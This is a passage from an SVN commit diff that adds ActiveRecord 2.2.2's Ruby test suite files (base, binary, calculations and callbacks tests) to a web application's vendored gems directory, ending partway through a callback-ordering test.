+    assert LoosePerson.abstract_class?
+    assert !LooseDescendant.abstract_class?
+  end
+
+  def test_base_class
+    assert_equal LoosePerson,     LoosePerson.base_class
+    assert_equal LooseDescendant, LooseDescendant.base_class
+    assert_equal TightPerson,     TightPerson.base_class
+    assert_equal TightPerson,     TightDescendant.base_class
+
+    assert_equal Post, Post.base_class
+    assert_equal Post, SpecialPost.base_class
+    assert_equal Post, StiPost.base_class
+    assert_equal SubStiPost, SubStiPost.base_class
+  end
+
+  def test_descends_from_active_record
+    # Tries to call Object.abstract_class?
+    assert_raise(NoMethodError) do
+      ActiveRecord::Base.descends_from_active_record?
+    end
+
+    # Abstract subclass of AR::Base.
+    assert LoosePerson.descends_from_active_record?
+
+    # Concrete subclass of an abstract class.
+    assert LooseDescendant.descends_from_active_record?
+
+    # Concrete subclass of AR::Base.
+    assert TightPerson.descends_from_active_record?
+
+    # Concrete subclass of a concrete class but has no type column.
+    assert TightDescendant.descends_from_active_record?
+
+    # Concrete subclass of AR::Base.
+    assert Post.descends_from_active_record?
+
+    # Abstract subclass of a concrete class which has a type column.
+    # This is pathological, as you'll never have Sub < Abstract < Concrete.
+    assert !StiPost.descends_from_active_record?
+
+    # Concrete subclasses an abstract class which has a type column.
+    assert !SubStiPost.descends_from_active_record?
+  end
+
+  def test_find_on_abstract_base_class_doesnt_use_type_condition
+    old_class = LooseDescendant
+    Object.send :remove_const, :LooseDescendant
+
+    descendant = old_class.create! :first_name => 'bob'
+    assert_not_nil LoosePerson.find(descendant.id), "Should have found instance of LooseDescendant when finding abstract LoosePerson: #{descendant.inspect}"
+  ensure
+    unless Object.const_defined?(:LooseDescendant)
+      Object.const_set :LooseDescendant, old_class
+    end
+  end
+
+  def test_assert_queries
+    query = lambda { ActiveRecord::Base.connection.execute 'select count(*) from developers' }
+    assert_queries(2) { 2.times { query.call } }
+    assert_queries 1, &query
+    assert_no_queries { assert true }
+  end
+
+  def test_to_xml
+    xml = REXML::Document.new(topics(:first).to_xml(:indent => 0))
+    bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema
+    written_on_in_current_timezone = topics(:first).written_on.xmlschema
+    last_read_in_current_timezone = topics(:first).last_read.xmlschema
+
+    assert_equal "topic", xml.root.name
+    assert_equal "The First Topic" , xml.elements["//title"].text
+    assert_equal "David" , xml.elements["//author-name"].text
+
+    assert_equal "1", xml.elements["//id"].text
+    assert_equal "integer" , xml.elements["//id"].attributes['type']
+
+    assert_equal "1", xml.elements["//replies-count"].text
+    assert_equal "integer" , xml.elements["//replies-count"].attributes['type']
+
+    assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text
+    assert_equal "datetime" , xml.elements["//written-on"].attributes['type']
+
+    assert_equal "--- Have a nice day\n" , xml.elements["//content"].text
+    assert_equal "yaml" , xml.elements["//content"].attributes['type']
+
+    assert_equal "david at loudthinking.com", xml.elements["//author-email-address"].text
+
+    assert_equal nil, xml.elements["//parent-id"].text
+    assert_equal "integer", xml.elements["//parent-id"].attributes['type']
+    assert_equal "true", xml.elements["//parent-id"].attributes['nil']
+
+    if current_adapter?(:SybaseAdapter, :OracleAdapter)
+      assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text
+      assert_equal "datetime" , xml.elements["//last-read"].attributes['type']
+    else
+      assert_equal "2004-04-15", xml.elements["//last-read"].text
+      assert_equal "date" , xml.elements["//last-read"].attributes['type']
+    end
+
+    # Oracle and DB2 don't have true boolean or time-only fields
+    unless current_adapter?(:OracleAdapter, :DB2Adapter)
+      assert_equal "false", xml.elements["//approved"].text
+      assert_equal "boolean" , xml.elements["//approved"].attributes['type']
+
+      assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text
+      assert_equal "datetime" , xml.elements["//bonus-time"].attributes['type']
+    end
+  end
+
+  def test_to_xml_skipping_attributes
+    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count])
+    assert_equal "<topic>", xml.first(7)
+    assert !xml.include?(%(<title>The First Topic</title>))
+    assert xml.include?(%(<author-name>David</author-name>))
+
+    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count])
+    assert !xml.include?(%(<title>The First Topic</title>))
+    assert !xml.include?(%(<author-name>David</author-name>))
+  end
+
+  def test_to_xml_including_has_many_association
+    xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count)
+    assert_equal "<topic>", xml.first(7)
+    assert xml.include?(%(<replies type="array"><reply>))
+    assert xml.include?(%(<title>The Second Topic of the day</title>))
+  end
+
+  def test_array_to_xml_including_has_many_association
+    xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies)
+    assert xml.include?(%(<replies type="array"><reply>))
+  end
+
+  def test_array_to_xml_including_methods
+    xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ])
+    assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml
+    assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml
+  end
+
+  def test_array_to_xml_including_has_one_association
+    xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account)
+    assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true))
+    assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true))
+  end
+
+  def test_array_to_xml_including_belongs_to_association
+    xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+    assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true))
+    assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true))
+    assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true))
+  end
+
+  def test_to_xml_including_belongs_to_association
+    xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+    assert !xml.include?("<firm>")
+
+    xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm)
+    assert xml.include?("<firm>")
+  end
+
+  def test_to_xml_including_multiple_associations
+    xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ])
+    assert_equal "<firm>", xml.first(6)
+    assert xml.include?(%(<account>))
+    assert xml.include?(%(<clients type="array"><client>))
+  end
+
+  def test_to_xml_including_multiple_associations_with_options
+    xml = companies(:first_firm).to_xml(
+      :indent  => 0, :skip_instruct => true,
+      :include => { :clients => { :only => :name } }
+    )
+
+    assert_equal "<firm>", xml.first(6)
+    assert xml.include?(%(<client><name>Summit</name></client>))
+    assert xml.include?(%(<clients type="array"><client>))
+  end
+
+  def test_to_xml_including_methods
+    xml = Company.new.to_xml(:methods => :arbitrary_method, :skip_instruct => true)
+    assert_equal "<company>", xml.first(9)
+    assert xml.include?(%(<arbitrary-method>I am Jack's profound disappointment</arbitrary-method>))
+  end
+
+  def test_to_xml_with_block
+    value = "Rockin' the block"
+    xml = Company.new.to_xml(:skip_instruct => true) do |xml|
+      xml.tag! "arbitrary-element", value
+    end
+    assert_equal "<company>", xml.first(9)
+    assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>))
+  end
+
+  def test_type_name_with_module_should_handle_beginning
+    assert_equal 'ActiveRecord::Person', ActiveRecord::Base.send(:type_name_with_module, 'Person')
+    assert_equal '::Person', ActiveRecord::Base.send(:type_name_with_module, '::Person')
+  end
+
+  def test_to_param_should_return_string
+    assert_kind_of String, Client.find(:first).to_param
+  end
+
+  def test_inspect_class
+    assert_equal 'ActiveRecord::Base', ActiveRecord::Base.inspect
+    assert_equal 'LoosePerson(abstract)', LoosePerson.inspect
+    assert_match(/^Topic\(id: integer, title: string/, Topic.inspect)
+  end
+
+  def test_inspect_instance
+    topic = topics(:first)
+    assert_equal %(#<Topic id: 1, title: "The First Topic", author_name: "David", author_email_address: "david at loudthinking.com", written_on: "#{topic.written_on.to_s(:db)}", bonus_time: "#{topic.bonus_time.to_s(:db)}", last_read: "#{topic.last_read.to_s(:db)}", content: "Have a nice day", approved: false, replies_count: 1, parent_id: nil, type: nil>), topic.inspect
+  end
+
+  def test_inspect_new_instance
+    assert_match /Topic id: nil/, Topic.new.inspect
+  end
+
+  def test_inspect_limited_select_instance
+    assert_equal %(#<Topic id: 1>), Topic.find(:first, :select => 'id', :conditions => 'id = 1').inspect
+    assert_equal %(#<Topic id: 1, title: "The First Topic">), Topic.find(:first, :select => 'id, title', :conditions => 'id = 1').inspect
+  end
+
+  def test_inspect_class_without_table
+    assert_equal "NonExistentTable(Table doesn't exist)", NonExistentTable.inspect
+  end
+
+  def test_attribute_for_inspect
+    t = topics(:first)
+    t.title = "The First Topic Now Has A Title With\nNewlines And More Than 50 Characters"
+
+    assert_equal %("#{t.written_on.to_s(:db)}"), t.attribute_for_inspect(:written_on)
+    assert_equal '"The First Topic Now Has A Title With\nNewlines And M..."', t.attribute_for_inspect(:title)
+  end
+
+  def test_becomes
+    assert_kind_of Reply, topics(:first).becomes(Reply)
+    assert_equal "The First Topic", topics(:first).becomes(Reply).title
+  end
+
+  def test_silence_sets_log_level_to_error_in_block
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger.level = Logger::DEBUG
+    ActiveRecord::Base.silence do
+      ActiveRecord::Base.logger.warn "warn"
+      ActiveRecord::Base.logger.error "error"
+    end
+    assert_equal "error\n", log.string
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  def test_silence_sets_log_level_back_to_level_before_yield
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger.level = Logger::WARN
+    ActiveRecord::Base.silence do
+    end
+    assert_equal Logger::WARN, ActiveRecord::Base.logger.level
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  def test_benchmark_with_log_level
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.logger.level = Logger::WARN
+    ActiveRecord::Base.benchmark("Debug Topic Count", Logger::DEBUG) { Topic.count }
+    ActiveRecord::Base.benchmark("Warn Topic Count",  Logger::WARN)  { Topic.count }
+    ActiveRecord::Base.benchmark("Error Topic Count", Logger::ERROR) { Topic.count }
+    assert_no_match /Debug Topic Count/, log.string
+    assert_match /Warn Topic Count/, log.string
+    assert_match /Error Topic Count/, log.string
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  def test_benchmark_with_use_silence
+    original_logger = ActiveRecord::Base.logger
+    log = StringIO.new
+    ActiveRecord::Base.logger = Logger.new(log)
+    ActiveRecord::Base.benchmark("Logging", Logger::DEBUG, true) { ActiveRecord::Base.logger.debug "Loud" }
+    ActiveRecord::Base.benchmark("Logging", Logger::DEBUG, false)  { ActiveRecord::Base.logger.debug "Quiet" }
+    assert_no_match /Loud/, log.string
+    assert_match /Quiet/, log.string
+  ensure
+    ActiveRecord::Base.logger = original_logger
+  end
+
+  private
+    def with_kcode(kcode)
+      if RUBY_VERSION < '1.9'
+        orig_kcode, $KCODE = $KCODE, kcode
+        begin
+          yield
+        ensure
+          $KCODE = orig_kcode
+        end
+      else
+        yield
+      end
+    end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/base_test.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/binary_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/binary_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/binary_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require "cases/helper"
+
+# Without using prepared statements, it makes no sense to test
+# BLOB data with DB2 or Firebird, because the length of a statement
+# is limited to 32KB.
+unless current_adapter?(:SybaseAdapter, :DB2Adapter, :FirebirdAdapter)
+  require 'models/binary'
+
+  class BinaryTest < ActiveRecord::TestCase
+    FIXTURES = %w(flowers.jpg example.log)
+
+    def test_load_save
+      Binary.delete_all
+
+      FIXTURES.each do |filename|
+        data = File.read(ASSETS_ROOT + "/#{filename}")
+        data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
+        data.freeze
+
+        bin = Binary.new(:data => data)
+        assert_equal data, bin.data, 'Newly assigned data differs from original'
+
+        bin.save!
+        assert_equal data, bin.data, 'Data differs from original after save'
+
+        assert_equal data, bin.reload.data, 'Reloaded data differs from original'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/calculations_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/calculations_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/calculations_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,328 @@
+require "cases/helper"
+require 'models/company'
+require 'models/topic'
+require 'models/edge'
+
+Company.has_many :accounts
+
+class NumericData < ActiveRecord::Base
+  self.table_name = 'numeric_data'
+end
+
+class CalculationsTest < ActiveRecord::TestCase
+  fixtures :companies, :accounts, :topics
+
+  def test_should_sum_field
+    assert_equal 318, Account.sum(:credit_limit)
+  end
+
+  def test_should_average_field
+    value = Account.average(:credit_limit)
+    assert_kind_of BigDecimal, value
+    assert_equal BigDecimal.new('53.0'), value
+  end
+
+  def test_should_return_nil_as_average
+    assert_nil NumericData.average(:bank_balance)
+  end
+  
+  def test_type_cast_calculated_value_should_convert_db_averages_of_fixnum_class_to_decimal
+    assert_equal 0, NumericData.send(:type_cast_calculated_value, 0, nil, 'avg')
+    assert_equal 53.0, NumericData.send(:type_cast_calculated_value, 53, nil, 'avg')
+  end
+
+  def test_should_get_maximum_of_field
+    assert_equal 60, Account.maximum(:credit_limit)
+  end
+
+  def test_should_get_maximum_of_field_with_include
+    assert_equal 50, Account.maximum(:credit_limit, :include => :firm, :conditions => "companies.name != 'Summit'")
+  end
+
+  def test_should_get_maximum_of_field_with_scoped_include
+    Account.with_scope :find => { :include => :firm, :conditions => "companies.name != 'Summit'" } do
+      assert_equal 50, Account.maximum(:credit_limit)
+    end
+  end
+
+  def test_should_get_minimum_of_field
+    assert_equal 50, Account.minimum(:credit_limit)
+  end
+
+  def test_should_group_by_field
+    c = Account.sum(:credit_limit, :group => :firm_id)
+    [1,6,2].each { |firm_id| assert c.keys.include?(firm_id) }
+  end
+
+  def test_should_group_by_summed_field
+    c = Account.sum(:credit_limit, :group => :firm_id)
+    assert_equal 50,   c[1]
+    assert_equal 105,  c[6]
+    assert_equal 60,   c[2]
+  end
+
+  def test_should_order_by_grouped_field
+    c = Account.sum(:credit_limit, :group => :firm_id, :order => "firm_id")
+    assert_equal [1, 2, 6, 9], c.keys.compact
+  end
+
+  def test_should_order_by_calculation
+    c = Account.sum(:credit_limit, :group => :firm_id, :order => "sum_credit_limit desc, firm_id")
+    assert_equal [105, 60, 53, 50, 50], c.keys.collect { |k| c[k] }
+    assert_equal [6, 2, 9, 1], c.keys.compact
+  end
+
+  def test_should_limit_calculation
+    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
+                    :group => :firm_id, :order => "firm_id", :limit => 2)
+    assert_equal [1, 2], c.keys.compact
+  end
+
+  def test_should_limit_calculation_with_offset
+    c = Account.sum(:credit_limit, :conditions => "firm_id IS NOT NULL",
+                    :group => :firm_id, :order => "firm_id", :limit => 2, :offset => 1)
+    assert_equal [2, 6], c.keys.compact
+  end
+
+  def test_should_group_by_summed_field_having_condition
+    c = Account.sum(:credit_limit, :group => :firm_id,
+                                   :having => 'sum(credit_limit) > 50')
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_group_by_summed_association
+    c = Account.sum(:credit_limit, :group => :firm)
+    assert_equal 50,   c[companies(:first_firm)]
+    assert_equal 105,  c[companies(:rails_core)]
+    assert_equal 60,   c[companies(:first_client)]
+  end
+
+  def test_should_sum_field_with_conditions
+    assert_equal 105, Account.sum(:credit_limit, :conditions => 'firm_id = 6')
+  end
+
+  def test_should_return_zero_if_sum_conditions_return_nothing
+    assert_equal 0, Account.sum(:credit_limit, :conditions => '1 = 2')
+    assert_equal 0, companies(:rails_core).companies.sum(:id, :conditions => '1 = 2')
+  end
+
+  def test_sum_should_return_valid_values_for_decimals
+    NumericData.create(:bank_balance => 19.83)
+    assert_equal 19.83, NumericData.sum(:bank_balance)
+  end
+
+  def test_should_group_by_summed_field_with_conditions
+    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
+                                   :group => :firm_id)
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_group_by_summed_field_with_conditions_and_having
+    c = Account.sum(:credit_limit, :conditions => 'firm_id > 1',
+                                   :group => :firm_id,
+                                   :having => 'sum(credit_limit) > 60')
+    assert_nil        c[1]
+    assert_equal 105, c[6]
+    assert_nil        c[2]
+  end
+
+  def test_should_group_by_fields_with_table_alias
+    c = Account.sum(:credit_limit, :group => 'accounts.firm_id')
+    assert_equal 50,  c[1]
+    assert_equal 105, c[6]
+    assert_equal 60,  c[2]
+  end
+
+  def test_should_calculate_with_invalid_field
+    assert_equal 6, Account.calculate(:count, '*')
+    assert_equal 6, Account.calculate(:count, :all)
+  end
+
+  def test_should_calculate_grouped_with_invalid_field
+    c = Account.count(:all, :group => 'accounts.firm_id')
+    assert_equal 1, c[1]
+    assert_equal 2, c[6]
+    assert_equal 1, c[2]
+  end
+
+  def test_should_calculate_grouped_association_with_invalid_field
+    c = Account.count(:all, :group => :firm)
+    assert_equal 1, c[companies(:first_firm)]
+    assert_equal 2, c[companies(:rails_core)]
+    assert_equal 1, c[companies(:first_client)]
+  end
+
+  uses_mocha 'group_by_non_numeric_foreign_key_association' do
+    def test_should_group_by_association_with_non_numeric_foreign_key
+      ActiveRecord::Base.connection.expects(:select_all).returns([{"count_all" => 1, "firm_id" => "ABC"}])
+
+      firm = mock()
+      firm.expects(:id).returns("ABC")
+      firm.expects(:class).returns(Firm)
+      Company.expects(:find).with(["ABC"]).returns([firm])
+
+      column = mock()
+      column.expects(:name).at_least_once.returns(:firm_id)
+      column.expects(:type_cast).with("ABC").returns("ABC")
+      Account.expects(:columns).at_least_once.returns([column])
+
+      c = Account.count(:all, :group => :firm)
+      assert_equal Firm, c.first.first.class
+      assert_equal 1, c.first.last
+    end
+  end
+
+  def test_should_calculate_grouped_association_with_foreign_key_option
+    Account.belongs_to :another_firm, :class_name => 'Firm', :foreign_key => 'firm_id'
+    c = Account.count(:all, :group => :another_firm)
+    assert_equal 1, c[companies(:first_firm)]
+    assert_equal 2, c[companies(:rails_core)]
+    assert_equal 1, c[companies(:first_client)]
+  end
+
+  def test_should_not_modify_options_when_using_includes
+    options = {:conditions => 'companies.id > 1', :include => :firm}
+    options_copy = options.dup
+
+    Account.count(:all, options)
+    assert_equal options_copy, options
+  end
+
+  def test_should_calculate_grouped_by_function
+    c = Company.count(:all, :group => "UPPER(#{QUOTED_TYPE})")
+    assert_equal 2, c[nil]
+    assert_equal 1, c['DEPENDENTFIRM']
+    assert_equal 3, c['CLIENT']
+    assert_equal 2, c['FIRM']
+  end
+
+  def test_should_calculate_grouped_by_function_with_table_alias
+    c = Company.count(:all, :group => "UPPER(companies.#{QUOTED_TYPE})")
+    assert_equal 2, c[nil]
+    assert_equal 1, c['DEPENDENTFIRM']
+    assert_equal 3, c['CLIENT']
+    assert_equal 2, c['FIRM']
+  end
+
+  def test_should_not_overshadow_enumerable_sum
+    assert_equal 6, [1, 2, 3].sum(&:abs)
+  end
+
+  def test_should_sum_scoped_field
+    assert_equal 15, companies(:rails_core).companies.sum(:id)
+  end
+
+  def test_should_sum_scoped_field_with_conditions
+    assert_equal 8,  companies(:rails_core).companies.sum(:id, :conditions => 'id > 7')
+  end
+
+  def test_should_group_by_scoped_field
+    c = companies(:rails_core).companies.sum(:id, :group => :name)
+    assert_equal 7, c['Leetsoft']
+    assert_equal 8, c['Jadedpixel']
+  end
+
+  def test_should_group_by_summed_field_with_conditions_and_having
+    c = companies(:rails_core).companies.sum(:id, :group => :name,
+                                                  :having => 'sum(id) > 7')
+    assert_nil      c['Leetsoft']
+    assert_equal 8, c['Jadedpixel']
+  end
+
+  def test_should_reject_invalid_options
+    assert_nothing_raised do
+      [:count, :sum].each do |func|
+        # empty options are valid
+        Company.send(:validate_calculation_options, func)
+        # these options are valid for all calculations
+        [:select, :conditions, :joins, :order, :group, :having, :distinct].each do |opt|
+          Company.send(:validate_calculation_options, func, opt => true)
+        end
+      end
+
+      # :include is only valid on :count
+      Company.send(:validate_calculation_options, :count, :include => true)
+    end
+
+    assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :sum,   :foo => :bar) }
+    assert_raises(ArgumentError) { Company.send(:validate_calculation_options, :count, :foo => :bar) }
+  end
+
+  def test_should_count_selected_field_with_include
+    assert_equal 6, Account.count(:distinct => true, :include => :firm)
+    assert_equal 4, Account.count(:distinct => true, :include => :firm, :select => :credit_limit)
+  end
+
+  def test_should_count_manual_select_with_include
+    assert_equal 6, Account.count(:select => "DISTINCT accounts.id", :include => :firm)
+  end
+
+  def test_count_with_column_parameter
+    assert_equal 5, Account.count(:firm_id)
+  end
+
+  def test_count_with_column_and_options_parameter
+    assert_equal 2, Account.count(:firm_id, :conditions => "credit_limit = 50")
+  end
+
+  def test_count_with_no_parameters_isnt_deprecated
+    assert_not_deprecated { Account.count }
+  end
+
+  def test_count_with_too_many_parameters_raises
+    assert_raise(ArgumentError) { Account.count(1, 2, 3) }
+  end
+
+  def test_should_sum_expression
+    assert_equal '636', Account.sum("2 * credit_limit")
+  end
+
+  def test_count_with_from_option
+    assert_equal Company.count(:all), Company.count(:all, :from => 'companies')
+    assert_equal Account.count(:all, :conditions => "credit_limit = 50"),
+        Account.count(:all, :from => 'accounts', :conditions => "credit_limit = 50")
+    assert_equal Company.count(:type, :conditions => {:type => "Firm"}),
+        Company.count(:type, :conditions => {:type => "Firm"}, :from => 'companies')
+  end
+
+  def test_sum_with_from_option
+    assert_equal Account.sum(:credit_limit), Account.sum(:credit_limit, :from => 'accounts')
+    assert_equal Account.sum(:credit_limit, :conditions => "credit_limit > 50"),
+        Account.sum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+  end
+
+  def test_average_with_from_option
+    assert_equal Account.average(:credit_limit), Account.average(:credit_limit, :from => 'accounts')
+    assert_equal Account.average(:credit_limit, :conditions => "credit_limit > 50"),
+        Account.average(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+  end
+
+  def test_minimum_with_from_option
+    assert_equal Account.minimum(:credit_limit), Account.minimum(:credit_limit, :from => 'accounts')
+    assert_equal Account.minimum(:credit_limit, :conditions => "credit_limit > 50"),
+        Account.minimum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+  end
+
+  def test_maximum_with_from_option
+    assert_equal Account.maximum(:credit_limit), Account.maximum(:credit_limit, :from => 'accounts')
+    assert_equal Account.maximum(:credit_limit, :conditions => "credit_limit > 50"),
+        Account.maximum(:credit_limit, :from => 'accounts', :conditions => "credit_limit > 50")
+  end
+
+  def test_from_option_with_specified_index
+    if Edge.connection.adapter_name == 'MySQL'
+      assert_equal Edge.count(:all), Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)')
+      assert_equal Edge.count(:all, :conditions => 'sink_id < 5'),
+          Edge.count(:all, :from => 'edges USE INDEX(unique_edge_index)', :conditions => 'sink_id < 5')
+    end
+  end
+
+  def test_from_option_with_table_different_than_class
+    assert_equal Account.count(:all), Company.count(:all, :from => 'accounts')
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_observers_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_observers_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_observers_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,38 @@
+require "cases/helper"
+
+class Comment < ActiveRecord::Base
+  attr_accessor :callers
+
+  before_validation :record_callers
+
+  def after_validation
+    record_callers
+  end
+
+  def record_callers
+    callers << self.class if callers
+  end
+end
+
+class CommentObserver < ActiveRecord::Observer
+  attr_accessor :callers
+
+  def after_validation(model)
+    callers << self.class if callers
+  end
+end
+
+class CallbacksObserversTest < ActiveRecord::TestCase
+  def test_model_callbacks_fire_before_observers_are_notified
+    callers = []
+
+    comment = Comment.new
+    comment.callers = callers
+
+    CommentObserver.instance.callers = callers
+
+    comment.valid?
+
+    assert_equal [Comment, Comment, CommentObserver], callers, "model callbacks did not fire before observers were notified"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/callbacks_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,400 @@
+require "cases/helper"
+
+class CallbackDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+
+  class << self
+    def callback_string(callback_method)
+      "history << [#{callback_method.to_sym.inspect}, :string]"
+    end
+
+    def callback_proc(callback_method)
+      Proc.new { |model| model.history << [callback_method, :proc] }
+    end
+
+    def define_callback_method(callback_method)
+      define_method("#{callback_method}_method") do |model|
+        model.history << [callback_method, :method]
+      end
+    end
+
+    def callback_object(callback_method)
+      klass = Class.new
+      klass.send(:define_method, callback_method) do |model|
+        model.history << [callback_method, :object]
+      end
+      klass.new
+    end
+  end
+
+  ActiveRecord::Callbacks::CALLBACKS.each do |callback_method|
+    callback_method_sym = callback_method.to_sym
+    define_callback_method(callback_method_sym)
+    send(callback_method, callback_method_sym)
+    send(callback_method, callback_string(callback_method_sym))
+    send(callback_method, callback_proc(callback_method_sym))
+    send(callback_method, callback_object(callback_method_sym))
+    send(callback_method) { |model| model.history << [callback_method_sym, :block] }
+  end
+
+  def history
+    @history ||= []
+  end
+
+  # after_initialize and after_find are invoked only if instance methods have been defined.
+  def after_initialize
+  end
+
+  def after_find
+  end
+end
+
+class ParentDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+  attr_accessor :after_save_called
+  before_validation {|record| record.after_save_called = true}
+end
+
+class ChildDeveloper < ParentDeveloper
+
+end
+
+class RecursiveCallbackDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+
+  before_save :on_before_save
+  after_save :on_after_save
+
+  attr_reader :on_before_save_called, :on_after_save_called
+
+  def on_before_save
+    @on_before_save_called ||= 0
+    @on_before_save_called += 1
+    save unless @on_before_save_called > 1
+  end
+
+  def on_after_save
+    @on_after_save_called ||= 0
+    @on_after_save_called += 1
+    save unless @on_after_save_called > 1
+  end
+end
+
+class ImmutableDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+
+  validates_inclusion_of :salary, :in => 50000..200000
+
+  before_save :cancel
+  before_destroy :cancel
+
+  def cancelled?
+    @cancelled == true
+  end
+
+  private
+    def cancel
+      @cancelled = true
+      false
+    end
+end
+
+class ImmutableMethodDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+
+  validates_inclusion_of :salary, :in => 50000..200000
+
+  def cancelled?
+    @cancelled == true
+  end
+
+  def before_save
+    @cancelled = true
+    false
+  end
+
+  def before_destroy
+    @cancelled = true
+    false
+  end
+end
+
+class CallbackCancellationDeveloper < ActiveRecord::Base
+  set_table_name 'developers'
+  def before_create
+    false
+  end
+end
+
+class CallbacksTest < ActiveRecord::TestCase
+  fixtures :developers
+
+  def test_initialize
+    david = CallbackDeveloper.new
+    assert_equal [
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def test_find
+    david = CallbackDeveloper.find(1)
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def test_new_valid?
+    david = CallbackDeveloper.new
+    david.valid?
+    assert_equal [
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :string ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :before_validation_on_create, :string ],
+      [ :before_validation_on_create, :proc   ],
+      [ :before_validation_on_create, :object ],
+      [ :before_validation_on_create, :block  ],
+      [ :after_validation,            :string ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :after_validation_on_create,  :string ],
+      [ :after_validation_on_create,  :proc   ],
+      [ :after_validation_on_create,  :object ],
+      [ :after_validation_on_create,  :block  ]
